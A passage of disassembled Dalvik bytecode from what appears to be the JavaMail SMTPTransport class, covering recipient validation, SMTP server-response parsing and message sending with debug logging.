0000018A  iput-object             v0, p0, SMTPTransport->validUnsentAddr:[Address
0000018E  const/4                 v1, 0x0
00000190  const/4                 v0, 0x0
00000192  move                    v2, v1
00000194  move                    v1, v0
:196
00000196  invoke-virtual          Vector->size()I, v9
0000019C  move-result             v0
0000019E  if-lt                   v1, v0, :4B6
:1A2
000001A2  const/4                 v0, 0x0
000001A4  move                    v1, v0
:1A6
000001A6  invoke-virtual          Vector->size()I, v10
000001AC  move-result             v0
000001AE  if-lt                   v1, v0, :4DA
:1B2
000001B2  iget-boolean            v0, p0, SMTPTransport->debug:Z
000001B6  if-eqz                  v0, :23E
:1BA
000001BA  iget-object             v0, p0, SMTPTransport->validSentAddr:[Address
000001BE  if-eqz                  v0, :1E6
:1C2
000001C2  iget-object             v0, p0, SMTPTransport->validSentAddr:[Address
000001C6  array-length            v0, v0
000001C8  if-lez                  v0, :1E6
:1CC
000001CC  iget-object             v0, p0, SMTPTransport->out:PrintStream
000001D0  const-string            v1, "DEBUG SMTP: Verified Addresses"
000001D4  invoke-virtual          PrintStream->println(String)V, v0, v1
000001DA  const/4                 v0, 0x0
:1DC
000001DC  iget-object             v1, p0, SMTPTransport->validSentAddr:[Address
000001E0  array-length            v1, v1
000001E2  if-lt                   v0, v1, :58A
:1E6
000001E6  iget-object             v0, p0, SMTPTransport->validUnsentAddr:[Address
000001EA  if-eqz                  v0, :212
:1EE
000001EE  iget-object             v0, p0, SMTPTransport->validUnsentAddr:[Address
000001F2  array-length            v0, v0
000001F4  if-lez                  v0, :212
:1F8
000001F8  iget-object             v0, p0, SMTPTransport->out:PrintStream
000001FC  const-string            v1, "DEBUG SMTP: Valid Unsent Addresses"
00000200  invoke-virtual          PrintStream->println(String)V, v0, v1
00000206  const/4                 v0, 0x0
:208
00000208  iget-object             v1, p0, SMTPTransport->validUnsentAddr:[Address
0000020C  array-length            v1, v1
0000020E  if-lt                   v0, v1, :5C2
:212
00000212  iget-object             v0, p0, SMTPTransport->invalidAddr:[Address
00000216  if-eqz                  v0, :23E
:21A
0000021A  iget-object             v0, p0, SMTPTransport->invalidAddr:[Address
0000021E  array-length            v0, v0
00000220  if-lez                  v0, :23E
:224
00000224  iget-object             v0, p0, SMTPTransport->out:PrintStream
00000228  const-string            v1, "DEBUG SMTP: Invalid Addresses"
0000022C  invoke-virtual          PrintStream->println(String)V, v0, v1
00000232  const/4                 v0, 0x0
:234
00000234  iget-object             v1, p0, SMTPTransport->invalidAddr:[Address
00000238  array-length            v1, v1
0000023A  if-lt                   v0, v1, :5FA
:23E
0000023E  if-eqz                  v4, :668
:242
00000242  iget-boolean            v0, p0, SMTPTransport->debug:Z
00000246  if-eqz                  v0, :258
:24A
0000024A  iget-object             v0, p0, SMTPTransport->out:PrintStream
0000024E  const-string            v1, "DEBUG SMTP: Sending failed because of invalid destination addresses"
00000252  invoke-virtual          PrintStream->println(String)V, v0, v1
:258
00000258  const/4                 v1, 0x2
0000025A  iget-object             v2, p0, SMTPTransport->validSentAddr:[Address
0000025E  iget-object             v3, p0, SMTPTransport->validUnsentAddr:[Address
00000262  iget-object             v4, p0, SMTPTransport->invalidAddr:[Address
00000266  iget-object             v5, p0, SMTPTransport->message:MimeMessage
0000026A  move-object             v0, p0
0000026C  invoke-virtual/range    SMTPTransport->notifyTransportListeners(I, [Address, [Address, [Address, Message)V, v0 .. v5
00000272  iget-object             v1, p0, SMTPTransport->lastServerResponse:String
00000276  iget                    v2, p0, SMTPTransport->lastReturnCode:I
:27A
0000027A  iget-object             v0, p0, SMTPTransport->serverSocket:Socket
0000027E  if-eqz                  v0, :290
:282
00000282  const-string            v0, "RSET"
00000286  const/16                v3, 0xFA
0000028A  invoke-virtual          SMTPTransport->issueCommand(String, I)V, p0, v0, v3
:290
00000290  iput-object             v1, p0, SMTPTransport->lastServerResponse:String
00000294  iput                    v2, p0, SMTPTransport->lastReturnCode:I
:298
00000298  new-instance            v0, SendFailedException
0000029C  const-string            v1, "Invalid Addresses"
000002A0  iget-object             v3, p0, SMTPTransport->validSentAddr:[Address
000002A4  iget-object             v4, p0, SMTPTransport->validUnsentAddr:[Address
000002A8  iget-object             v5, p0, SMTPTransport->invalidAddr:[Address
000002AC  move-object             v2, v6
000002AE  invoke-direct/range     SendFailedException-><init>(String, Exception, [Address, [Address, [Address)V, v0 .. v5
000002B4  throw                   v0
:2B6
000002B6  const/4                 v0, 0x0
000002B8  goto/16                 :A2
:2BC
000002BC  iget-object             v0, p0, SMTPTransport->addresses:[Address
000002C0  aget-object             v0, v0, v7
000002C4  check-cast              v0, InternetAddress
000002C8  new-instance            v5, StringBuilder
000002CC  const-string            v8, "RCPT TO:"
000002D0  invoke-direct           StringBuilder-><init>(String)V, v5, v8
000002D6  invoke-virtual          InternetAddress->getAddress()String, v0
000002DC  move-result-object      v8
000002DE  invoke-direct           SMTPTransport->normalizeAddress(String)String, p0, v8
000002E4  move-result-object      v8
000002E6  invoke-virtual          StringBuilder->append(String)StringBuilder, v5, v8
000002EC  move-result-object      v5
000002EE  invoke-virtual          StringBuilder->toString()String, v5
000002F4  move-result-object      v5
000002F6  if-eqz                  v3, :66A
:2FA
000002FA  new-instance            v8, StringBuilder
000002FE  invoke-static           String->valueOf(Object)String, v5
00000304  move-result-object      v5
00000306  invoke-direct           StringBuilder-><init>(String)V, v8, v5
0000030C  const-string            v5, " NOTIFY="
00000310  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, v5
00000316  move-result-object      v5
00000318  invoke-virtual          StringBuilder->append(String)StringBuilder, v5, v2
0000031E  move-result-object      v5
00000320  invoke-virtual          StringBuilder->toString()String, v5
00000326  move-result-object      v5
00000328  move-object             v8, v5
:32A
0000032A  invoke-virtual          SMTPTransport->sendCommand(String)V, p0, v8
00000330  invoke-virtual          SMTPTransport->readServerResponse()I, p0
00000336  move-result             v12
00000338  sparse-switch           v12, :688
:33E
0000033E  const/16                v5, 0x190
00000342  if-lt                   v12, v5, :416
:346
00000346  const/16                v5, 0x1F3
0000034A  if-gt                   v12, v5, :416
:34E
0000034E  invoke-virtual          Vector->addElement(Object)V, v10, v0
:354
00000354  if-nez                  v1, :35A
:358
00000358  const/4                 v4, 0x1
:35A
0000035A  new-instance            v5, SMTPAddressFailedException
0000035E  iget-object             v13, p0, SMTPTransport->lastServerResponse:String
00000362  invoke-direct           SMTPAddressFailedException-><init>(InternetAddress, String, I, String)V, v5, v0, v8, v12, v13
00000368  if-nez                  v6, :4A8
:36C
0000036C  move                    v0, v4
0000036E  move-object             v4, v5
:370
00000370  add-int/lit8            v5, v7, 0x1
00000374  move                    v7, v5
00000376  move-object             v6, v4
00000378  move                    v4, v0
0000037A  goto/16                 :13A
:37E
0000037E  invoke-virtual          Vector->addElement(Object)V, v9, v0
00000384  iget-boolean            v5, p0, SMTPTransport->reportSuccess:Z
00000388  if-nez                  v5, :392
:38C
0000038C  move                    v0, v4
0000038E  move-object             v4, v6
00000390  goto                    :370
:392
00000392  new-instance            v5, SMTPAddressSucceededException
00000396  iget-object             v13, p0, SMTPTransport->lastServerResponse:String
0000039A  invoke-direct           SMTPAddressSucceededException-><init>(InternetAddress, String, I, String)V, v5, v0, v8, v12, v13
000003A0  if-nez                  v6, :3AA
:3A4
000003A4  move                    v0, v4
000003A6  move-object             v4, v5
000003A8  goto                    :370
:3AA
000003AA  invoke-virtual          MessagingException->setNextException(Exception)Z, v6, v5
000003B0  move                    v0, v4
000003B2  move-object             v4, v6
000003B4  goto                    :370
:3B6
000003B6  if-nez                  v1, :3BC
:3BA
000003BA  const/4                 v4, 0x1
:3BC
000003BC  invoke-virtual          Vector->addElement(Object)V, v11, v0
000003C2  new-instance            v5, SMTPAddressFailedException
000003C6  iget-object             v13, p0, SMTPTransport->lastServerResponse:String
000003CA  invoke-direct           SMTPAddressFailedException-><init>(InternetAddress, String, I, String)V, v5, v0, v8, v12, v13
000003D0  if-nez                  v6, :3DA
:3D4
000003D4  move                    v0, v4
000003D6  move-object             v4, v5
000003D8  goto                    :370
:3DA
000003DA  invoke-virtual          MessagingException->setNextException(Exception)Z, v6, v5
000003E0  move                    v0, v4
000003E2  move-object             v4, v6
000003E4  goto                    :370
:3E6
000003E6  if-nez                  v1, :3EC
:3EA
000003EA  const/4                 v4, 0x1
:3EC
000003EC  invoke-virtual          Vector->addElement(Object)V, v10, v0
000003F2  new-instance            v5, SMTPAddressFailedException
000003F6  iget-object             v13, p0, SMTPTransport->lastServerResponse:String
000003FA  invoke-direct           SMTPAddressFailedException-><init>(InternetAddress, String, I, String)V, v5, v0, v8, v12, v13
00000400  if-nez                  v6, :40A
:404
00000404  move                    v0, v4
00000406  move-object             v4, v5
00000408  goto                    :370
:40A
0000040A  invoke-virtual          MessagingException->setNextException(Exception)Z, v6, v5
00000410  move                    v0, v4
00000412  move-object             v4, v6
00000414  goto                    :370
:416
00000416  const/16                v5, 0x1F4
0000041A  if-lt                   v12, v5, :42E
:41E
0000041E  const/16                v5, 0x257
00000422  if-gt                   v12, v5, :42E
:426
00000426  invoke-virtual          Vector->addElement(Object)V, v11, v0
0000042C  goto                    :354
:42E
0000042E  iget-boolean            v1, p0, SMTPTransport->debug:Z
00000432  if-eqz                  v1, :476
:436
00000436  iget-object             v1, p0, SMTPTransport->out:PrintStream
0000043A  new-instance            v2, StringBuilder
0000043E  const-string            v3, "DEBUG SMTP: got response code "
00000442  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000448  invoke-virtual          StringBuilder->append(I)StringBuilder, v2, v12
0000044E  move-result-object      v2
00000450  const-string            v3, ", with response: "
00000454  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
0000045A  move-result-object      v2
0000045C  iget-object             v3, p0, SMTPTransport->lastServerResponse:String
00000460  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000466  move-result-object      v2
00000468  invoke-virtual          StringBuilder->toString()String, v2
0000046E  move-result-object      v2
00000470  invoke-virtual          PrintStream->println(String)V, v1, v2
:476
00000476  iget-object             v1, p0, SMTPTransport->lastServerResponse:String
0000047A  iget                    v2, p0, SMTPTransport->lastReturnCode:I
0000047E  iget-object             v3, p0, SMTPTransport->serverSocket:Socket
00000482  if-eqz                  v3, :494
:486
00000486  const-string            v3, "RSET"
0000048A  const/16                v4, 0xFA
0000048E  invoke-virtual          SMTPTransport->issueCommand(String, I)V, p0, v3, v4
:494
00000494  iput-object             v1, p0, SMTPTransport->lastServerResponse:String
00000498  iput                    v2, p0, SMTPTransport->lastReturnCode:I
0000049C  new-instance            v2, SMTPAddressFailedException
000004A0  invoke-direct           SMTPAddressFailedException-><init>(InternetAddress, String, I, String)V, v2, v0, v8, v12, v1
000004A6  throw                   v2
:4A8
000004A8  invoke-virtual          MessagingException->setNextException(Exception)Z, v6, v5
000004AE  move                    v0, v4
000004B0  move-object             v4, v6
000004B2  goto/16                 :370
:4B6
000004B6  iget-object             v5, p0, SMTPTransport->validUnsentAddr:[Address
000004BA  add-int/lit8            v3, v2, 0x1
000004BE  invoke-virtual          Vector->elementAt(I)Object, v9, v1
000004C4  move-result-object      v0
000004C6  check-cast              v0, Address
000004CA  aput-object             v0, v5, v2
000004CE  add-int/lit8            v0, v1, 0x1
000004D2  move                    v1, v0
000004D4  move                    v2, v3
000004D6  goto/16                 :196
:4DA
000004DA  iget-object             v5, p0, SMTPTransport->validUnsentAddr:[Address
000004DE  add-int/lit8            v3, v2, 0x1
000004E2  invoke-virtual          Vector->elementAt(I)Object, v10, v1
000004E8  move-result-object      v0
000004EA  check-cast              v0, Address
000004EE  aput-object             v0, v5, v2
000004F2  add-int/lit8            v0, v1, 0x1
000004F6  move                    v1, v0
000004F8  move                    v2, v3
000004FA  goto/16                 :1A6
:4FE
000004FE  iget-boolean            v0, p0, SMTPTransport->reportSuccess:Z
00000502  if-nez                  v0, :522
:506
00000506  if-eqz                  v1, :57E
:50A
0000050A  invoke-virtual          Vector->size()I, v11
00000510  move-result             v0
00000512  if-gtz                  v0, :522
:516
00000516  invoke-virtual          Vector->size()I, v10
0000051C  move-result             v0
0000051E  if-lez                  v0, :57E
:522
00000522  const/4                 v0, 0x1
00000524  iput-boolean            v0, p0, SMTPTransport->sendPartiallyFailed:Z
00000528  iput-object             v6, p0, SMTPTransport->exception:MessagingException
0000052C  invoke-virtual          Vector->size()I, v11
00000532  move-result             v0
00000534  new-array               v0, v0, [Address
00000538  iput-object             v0, p0, SMTPTransport->invalidAddr:[Address
0000053C  iget-object             v0, p0, SMTPTransport->invalidAddr:[Address
00000540  invoke-virtual          Vector->copyInto([Object)V, v11, v0
00000546  invoke-virtual          Vector->size()I, v10
0000054C  move-result             v0
0000054E  new-array               v0, v0, [Address
00000552  iput-object             v0, p0, SMTPTransport->validUnsentAddr:[Address
00000556  iget-object             v0, p0, SMTPTransport->validUnsentAddr:[Address
0000055A  invoke-virtual          Vector->copyInto([Object)V, v10, v0
00000560  invoke-virtual          Vector->size()I, v9
00000566  move-result             v0
00000568  new-array               v0, v0, [Address
0000056C  iput-object             v0, p0, SMTPTransport->validSentAddr:[Address
00000570  iget-object             v0, p0, SMTPTransport->validSentAddr:[Address
00000574  invoke-virtual          Vector->copyInto([Object)V, v9, v0
0000057A  goto/16                 :1B2
:57E
0000057E  iget-object             v0, p0, SMTPTransport->addresses:[Address
00000582  iput-object             v0, p0, SMTPTransport->validSentAddr:[Address
00000586  goto/16                 :1B2
:58A
0000058A  iget-object             v1, p0, SMTPTransport->out:PrintStream
0000058E  new-instance            v2, StringBuilder
00000592  const-string            v3, "DEBUG SMTP:   "
00000596  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000059C  iget-object             v3, p0, SMTPTransport->validSentAddr:[Address
000005A0  aget-object             v3, v3, v0
000005A4  invoke-virtual          StringBuilder->append(Object)StringBuilder, v2, v3
000005AA  move-result-object      v2
000005AC  invoke-virtual          StringBuilder->toString()String, v2
000005B2  move-result-object      v2
000005B4  invoke-virtual          PrintStream->println(String)V, v1, v2
000005BA  add-int/lit8            v0, v0, 0x1
000005BE  goto/16                 :1DC
:5C2
000005C2  iget-object             v1, p0, SMTPTransport->out:PrintStream
000005C6  new-instance            v2, StringBuilder
000005CA  const-string            v3, "DEBUG SMTP:   "
000005CE  invoke-direct           StringBuilder-><init>(String)V, v2, v3
000005D4  iget-object             v3, p0, SMTPTransport->validUnsentAddr:[Address
000005D8  aget-object             v3, v3, v0
000005DC  invoke-virtual          StringBuilder->append(Object)StringBuilder, v2, v3
000005E2  move-result-object      v2
000005E4  invoke-virtual          StringBuilder->toString()String, v2
000005EA  move-result-object      v2
000005EC  invoke-virtual          PrintStream->println(String)V, v1, v2
000005F2  add-int/lit8            v0, v0, 0x1
000005F6  goto/16                 :208
:5FA
000005FA  iget-object             v1, p0, SMTPTransport->out:PrintStream
000005FE  new-instance            v2, StringBuilder
00000602  const-string            v3, "DEBUG SMTP:   "
00000606  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000060C  iget-object             v3, p0, SMTPTransport->invalidAddr:[Address
00000610  aget-object             v3, v3, v0
00000614  invoke-virtual          StringBuilder->append(Object)StringBuilder, v2, v3
0000061A  move-result-object      v2
0000061C  invoke-virtual          StringBuilder->toString()String, v2
00000622  move-result-object      v2
00000624  invoke-virtual          PrintStream->println(String)V, v1, v2
0000062A  add-int/lit8            v0, v0, 0x1
0000062E  goto/16                 :234
:632
00000632  move-exception          v0
:634
00000634  invoke-virtual          SMTPTransport->close()V, p0
:63A
0000063A  iput-object             v1, p0, SMTPTransport->lastServerResponse:String
0000063E  iput                    v2, p0, SMTPTransport->lastReturnCode:I
00000642  goto/16                 :298
:646
00000646  move-exception          v0
:648
00000648  iget-boolean            v3, p0, SMTPTransport->debug:Z
0000064C  if-eqz                  v3, :63A
:650
00000650  iget-object             v3, p0, SMTPTransport->out:PrintStream
00000654  invoke-virtual          MessagingException->printStackTrace(PrintStream)V, v0, v3
:65A
0000065A  goto                    :63A
:65C
0000065C  move-exception          v0
0000065E  iput-object             v1, p0, SMTPTransport->lastServerResponse:String
00000662  iput                    v2, p0, SMTPTransport->lastReturnCode:I
00000666  throw                   v0
:668
00000668  return-void
:66A
0000066A  move-object             v8, v5
0000066C  goto/16                 :32A
:670
00000670  move                    v3, v2
00000672  move-object             v2, v0
00000674  goto/16                 :136
:678
00000678  move                    v3, v2
0000067A  move-object             v2, v0
0000067C  goto/16                 :136
:680
00000680  move                    v1, v0
00000682  goto/16                 :A4
          .catch MessagingException {:27A .. :290} :632
          .catchall {:27A .. :290} :65C
          .catch MessagingException {:634 .. :63A} :646
          .catchall {:634 .. :63A} :65C
          .catchall {:648 .. :65A} :65C
00000688  .sparse-switch
              0xFA -> :37E
              0xFB -> :37E
              0x1C2 -> :3E6
              0x1C3 -> :3E6
              0x1C4 -> :3E6
              0x1F5 -> :3B6
              0x1F7 -> :3B6
              0x226 -> :3B6
              0x227 -> :3B6
              0x228 -> :3E6
              0x229 -> :3B6
          .end sparse-switch
.end method

.method protected readServerResponse()I
          .registers 7
00000000  const/4                 v4, 0x3
00000002  const/4                 v5, 0x0
00000004  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000006  sget-boolean            v1, SMTPTransport->$assertionsDisabled:Z
0000000A  if-nez                  v1, :26
:E
0000000E  invoke-static           Thread->holdsLock(Object)Z, p0
00000014  move-result             v1
00000016  if-nez                  v1, :26
:1A
0000001A  new-instance            v0, AssertionError
0000001E  invoke-direct           AssertionError-><init>()V, v0
00000024  throw                   v0
:26
00000026  const-string            v1, ""
0000002A  new-instance            v1, StringBuffer
0000002E  const/16                v2, 0x64
00000032  invoke-direct           StringBuffer-><init>(I)V, v1, v2
:38
00000038  iget-object             v2, p0, SMTPTransport->lineInputStream:LineInputStream
0000003C  invoke-virtual          LineInputStream->readLine()String, v2
00000042  move-result-object      v2
00000044  if-nez                  v2, :9C
:48
00000048  invoke-virtual          StringBuffer->toString()String, v1
0000004E  move-result-object      v1
00000050  invoke-virtual          String->length()I, v1
00000056  move-result             v2
00000058  if-nez                  v2, :60
:5C
0000005C  const-string            v1, "[EOF]"
:60
00000060  iput-object             v1, p0, SMTPTransport->lastServerResponse:String
00000064  const/4                 v2, 0xFFFFFFFFFFFFFFFF
00000066  iput                    v2, p0, SMTPTransport->lastReturnCode:I
0000006A  iget-boolean            v2, p0, SMTPTransport->debug:Z
0000006E  if-eqz                  v2, :9A
:72
00000072  iget-object             v2, p0, SMTPTransport->out:PrintStream
00000076  new-instance            v3, StringBuilder
0000007A  const-string            v4, "DEBUG SMTP: EOF: "
0000007E  invoke-direct           StringBuilder-><init>(String)V, v3, v4
00000084  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v1
0000008A  move-result-object      v1
0000008C  invoke-virtual          StringBuilder->toString()String, v1
00000092  move-result-object      v1
00000094  invoke-virtual          PrintStream->println(String)V, v2, v1
:9A
0000009A  return                  v0
:9C
0000009C  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v2
000000A2  const-string            v3, "\n"
000000A6  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v3
000000AC  invoke-direct           SMTPTransport->isNotLastLine(String)Z, p0, v2
000000B2  move-result             v2
000000B4  if-nez                  v2, :38
:B8
000000B8  invoke-virtual          StringBuffer->toString()String, v1
:BE
000000BE  move-result-object      v2
000000C0  if-eqz                  v2, :1B6
:C4
000000C4  invoke-virtual          String->length()I, v2
000000CA  move-result             v1
000000CC  if-lt                   v1, v4, :1B6
:D0
000000D0  const/4                 v1, 0x0
000000D2  const/4                 v3, 0x3
:D4
000000D4  invoke-virtual          String->substring(I, I)String, v2, v1, v3
000000DA  move-result-object      v1
000000DC  invoke-static           Integer->parseInt(String)I, v1
:E2
000000E2  move-result             v1
:E4
000000E4  if-ne                   v1, v0, :118
:E8
000000E8  iget-boolean            v0, p0, SMTPTransport->debug:Z
000000EC  if-eqz                  v0, :118
:F0
000000F0  iget-object             v0, p0, SMTPTransport->out:PrintStream
000000F4  new-instance            v3, StringBuilder
000000F8  const-string            v4, "DEBUG SMTP: bad server response: "
000000FC  invoke-direct           StringBuilder-><init>(String)V, v3, v4
00000102  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v2
00000108  move-result-object      v3
0000010A  invoke-virtual          StringBuilder->toString()String, v3
00000110  move-result-object      v3
00000112  invoke-virtual          PrintStream->println(String)V, v0, v3
:118
00000118  iput-object             v2, p0, SMTPTransport->lastServerResponse:String
0000011C  iput                    v1, p0, SMTPTransport->lastReturnCode:I
00000120  move                    v0, v1
00000122  goto                    :9A
:124
00000124  move-exception          v0
00000126  iget-boolean            v1, p0, SMTPTransport->debug:Z
0000012A  if-eqz                  v1, :156
:12E
0000012E  iget-object             v1, p0, SMTPTransport->out:PrintStream
00000132  new-instance            v2, StringBuilder
00000136  const-string            v3, "DEBUG SMTP: exception reading response: "
0000013A  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000140  invoke-virtual          StringBuilder->append(Object)StringBuilder, v2, v0
00000146  move-result-object      v2
00000148  invoke-virtual          StringBuilder->toString()String, v2
0000014E  move-result-object      v2
00000150  invoke-virtual          PrintStream->println(String)V, v1, v2
:156
00000156  const-string            v1, ""
0000015A  iput-object             v1, p0, SMTPTransport->lastServerResponse:String
0000015E  iput                    v5, p0, SMTPTransport->lastReturnCode:I
00000162  new-instance            v1, MessagingException
00000166  const-string            v2, "Exception reading response"
0000016A  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
00000170  throw                   v1
:172
00000172  move-exception          v1
:174
00000174  invoke-virtual          SMTPTransport->close()V, p0
:17A
0000017A  move                    v1, v0
0000017C  goto                    :E4
:17E
0000017E  move-exception          v1
00000180  iget-boolean            v3, p0, SMTPTransport->debug:Z
00000184  if-eqz                  v3, :17A
:188
00000188  iget-object             v3, p0, SMTPTransport->out:PrintStream
0000018C  invoke-virtual          MessagingException->printStackTrace(PrintStream)V, v1, v3
00000192  goto                    :17A
:194
00000194  move-exception          v1
:196
00000196  invoke-virtual          SMTPTransport->close()V, p0
:19C
0000019C  move                    v1, v0
0000019E  goto                    :E4
:1A0
000001A0  move-exception          v1
000001A2  iget-boolean            v3, p0, SMTPTransport->debug:Z
000001A6  if-eqz                  v3, :19C
:1AA
000001AA  iget-object             v3, p0, SMTPTransport->out:PrintStream
000001AE  invoke-virtual          MessagingException->printStackTrace(PrintStream)V, v1, v3
000001B4  goto                    :19C
:1B6
000001B6  move                    v1, v0
000001B8  goto                    :E4
          .catch IOException {:38 .. :BE} :124
          .catch NumberFormatException {:D4 .. :E2} :172
          .catch StringIndexOutOfBoundsException {:D4 .. :E2} :194
          .catch MessagingException {:174 .. :17A} :17E
          .catch MessagingException {:196 .. :19C} :1A0
.end method

.method protected sendCommand(String)V
          .registers 3
00000000  invoke-static           ASCIIUtility->getBytes(String)[B, p1
00000006  move-result-object      v0
00000008  invoke-direct           SMTPTransport->sendCommand([B)V, p0, v0
0000000E  return-void
.end method

.method public declared-synchronized sendMessage(Message, [Address)V
          .registers 12
00000000  const/4                 v2, 0x1
00000002  const/4                 v3, 0x0
00000004  monitor-enter           p0
:6
00000006  invoke-virtual          SMTPTransport->checkConnected()V, p0
0000000C  instance-of             v1, p1, MimeMessage
00000010  if-nez                  v1, :40
:14
00000014  iget-boolean            v1, p0, SMTPTransport->debug:Z
00000018  if-eqz                  v1, :2A
:1C
0000001C  iget-object             v1, p0, SMTPTransport->out:PrintStream
00000020  const-string            v2, "DEBUG SMTP: Can only send RFC822 msgs"
00000024  invoke-virtual          PrintStream->println(String)V, v1, v2
:2A
0000002A  new-instance            v1, MessagingException
0000002E  const-string            v2, "SMTP can only send RFC822 messages"
00000032  invoke-direct           MessagingException-><init>(String)V, v1, v2
00000038  throw                   v1
:3A
0000003A  move-exception          v1
0000003C  monitor-exit            p0
0000003E  throw                   v1
:40
00000040  move                    v1, v3
:42
00000042  array-length            v4, p2
00000044  if-lt                   v1, v4, :20C
:48
00000048  move-object             v0, p1
0000004A  check-cast              v0, MimeMessage
0000004E  move-object             v1, v0
00000050  iput-object             v1, p0, SMTPTransport->message:MimeMessage
00000054  iput-object             p2, p0, SMTPTransport->addresses:[Address
00000058  iput-object             p2, p0, SMTPTransport->validUnsentAddr:[Address
0000005C  invoke-direct           SMTPTransport->expandGroups()V, p0
00000062  instance-of             v1, p1, SMTPMessage
00000066  if-eqz                  v1, :2F0
:6A
0000006A  check-cast              p1, SMTPMessage
0000006E  invoke-virtual          SMTPMessage->getAllow8bitMIME()Z, p1
00000074  move-result             v1
:76
00000076  if-nez                  v1, :CA
:7A
0000007A  iget-object             v1, p0, SMTPTransport->session:Session
0000007E  new-instance            v4, StringBuilder
00000082  const-string            v5, "mail."
00000086  invoke-direct           StringBuilder-><init>(String)V, v4, v5
0000008C  iget-object             v5, p0, SMTPTransport->name:String
00000090  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v5
00000096  move-result-object      v4
00000098  const-string            v5, ".allow8bitmime"
0000009C  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v5
000000A2  move-result-object      v4
000000A4  invoke-virtual          StringBuilder->toString()String, v4
000000AA  move-result-object      v4
000000AC  invoke-virtual          Session->getProperty(String)String, v1, v4
000000B2  move-result-object      v1
000000B4  if-eqz                  v1, :256
:B8
000000B8  const-string            v4, "true"
000000BC  invoke-virtual          String->equalsIgnoreCase(String)Z, v1, v4
000000C2  move-result             v1
000000C4  if-eqz                  v1, :256
:C8
000000C8  move                    v1, v2
:CA
000000CA  iget-boolean            v2, p0, SMTPTransport->debug:Z
000000CE  if-eqz                  v2, :FA
:D2
000000D2  iget-object             v2, p0, SMTPTransport->out:PrintStream
000000D6  new-instance            v3, StringBuilder
000000DA  const-string            v4, "DEBUG SMTP: use8bit "
000000DE  invoke-direct           StringBuilder-><init>(String)V, v3, v4
000000E4  invoke-virtual          StringBuilder->append(Z)StringBuilder, v3, v1
000000EA  move-result-object      v3
000000EC  invoke-virtual          StringBuilder->toString()String, v3
000000F2  move-result-object      v3
000000F4  invoke-virtual          PrintStream->println(String)V, v2, v3
:FA
000000FA  if-eqz                  v1, :128
:FE
000000FE  const-string            v1, "8BITMIME"
00000102  invoke-virtual          SMTPTransport->supportsExtension(String)Z, p0, v1
00000108  move-result             v1
0000010A  if-eqz                  v1, :128
:10E
0000010E  iget-object             v1, p0, SMTPTransport->message:MimeMessage
00000112  invoke-direct           SMTPTransport->convertTo8Bit(MimePart)Z, p0, v1
:118
00000118  move-result             v1
0000011A  if-eqz                  v1, :128
:11E
0000011E  iget-object             v1, p0, SMTPTransport->message:MimeMessage
00000122  invoke-virtual          MimeMessage->saveChanges()V, v1
:128
00000128  invoke-virtual          SMTPTransport->mailFrom()V, p0
0000012E  invoke-virtual          SMTPTransport->rcptTo()V, p0
00000134  iget-object             v1, p0, SMTPTransport->message:MimeMessage
00000138  invoke-virtual          SMTPTransport->data()OutputStream, p0
0000013E  move-result-object      v2
00000140  sget-object             v3, SMTPTransport->ignoreList:[String
00000144  invoke-virtual          MimeMessage->writeTo(OutputStream, [String)V, v1, v2, v3
0000014A  invoke-virtual          SMTPTransport->finishData()V, p0
00000150  iget-boolean            v1, p0, SMTPTransport->sendPartiallyFailed:Z
00000154  if-eqz                  v1, :25C
:158
00000158  iget-boolean            v1, p0, SMTPTransport->debug:Z
0000015C  if-eqz                  v1, :16E
:160
00000160  iget-object             v1, p0, SMTPTransport->out:PrintStream
00000164  const-string            v2, "DEBUG SMTP: Sending partially failed because of invalid destination addresses"
00000168  invoke-virtual          PrintStream->println(String)V, v1, v2
:16E
0000016E  const/4                 v2, 0x3
00000170  iget-object             v3, p0, SMTPTransport->validSentAddr:[Address
00000174  iget-object             v4, p0, SMTPTransport->validUnsentAddr:[Address
00000178  iget-object             v5, p0, SMTPTransport->invalidAddr:[Address
0000017C  iget-object             v6, p0, SMTPTransport->message:MimeMessage
00000180  move-object             v1, p0
00000182  invoke-virtual/range    SMTPTransport->notifyTransportListeners(I, [Address, [Address, [Address, Message)V, v1 .. v6
00000188  new-instance            v1, SMTPSendFailedException
0000018C  const-string            v2, "."
00000190  iget                    v3, p0, SMTPTransport->lastReturnCode:I
00000194  iget-object             v4, p0, SMTPTransport->lastServerResponse:String
00000198  iget-object             v5, p0, SMTPTransport->exception:MessagingException
0000019C  iget-object             v6, p0, SMTPTransport->validSentAddr:[Address
000001A0  iget-object             v7, p0, SMTPTransport->validUnsentAddr:[Address
000001A4  iget-object             v8, p0, SMTPTransport->invalidAddr:[Address
000001A8  invoke-direct/range     SMTPSendFailedException-><init>(String, I, String, Exception, [Address, [Address, [Address)V, v1 .. v8
000001AE  throw                   v1
:1B0
000001B0  move-exception          v1
000001B2  move-object             v7, v1
:1B4
000001B4  iget-boolean            v1, p0, SMTPTransport->debug:Z
000001B8  if-eqz                  v1, :1C6
:1BC
000001BC  iget-object             v1, p0, SMTPTransport->out:PrintStream
000001C0  invoke-virtual          MessagingException->printStackTrace(PrintStream)V, v7, v1
:1C6
000001C6  const/4                 v2, 0x2
000001C8  iget-object             v3, p0, SMTPTransport->validSentAddr:[Address
000001CC  iget-object             v4, p0, SMTPTransport->validUnsentAddr:[Address
000001D0  iget-object             v5, p0, SMTPTransport->invalidAddr:[Address
000001D4  iget-object             v6, p0, SMTPTransport->message:MimeMessage
000001D8  move-object             v1, p0
000001DA  invoke-virtual/range    SMTPTransport->notifyTransportListeners(I, [Address, [Address, [Address, Message)V, v1 .. v6
000001E0  throw                   v7
:1E2
000001E2  move-exception          v1
000001E4  const/4                 v2, 0x0
:1E6
000001E6  iput-object             v2, p0, SMTPTransport->invalidAddr:[Address
000001EA  iput-object             v2, p0, SMTPTransport->validUnsentAddr:[Address
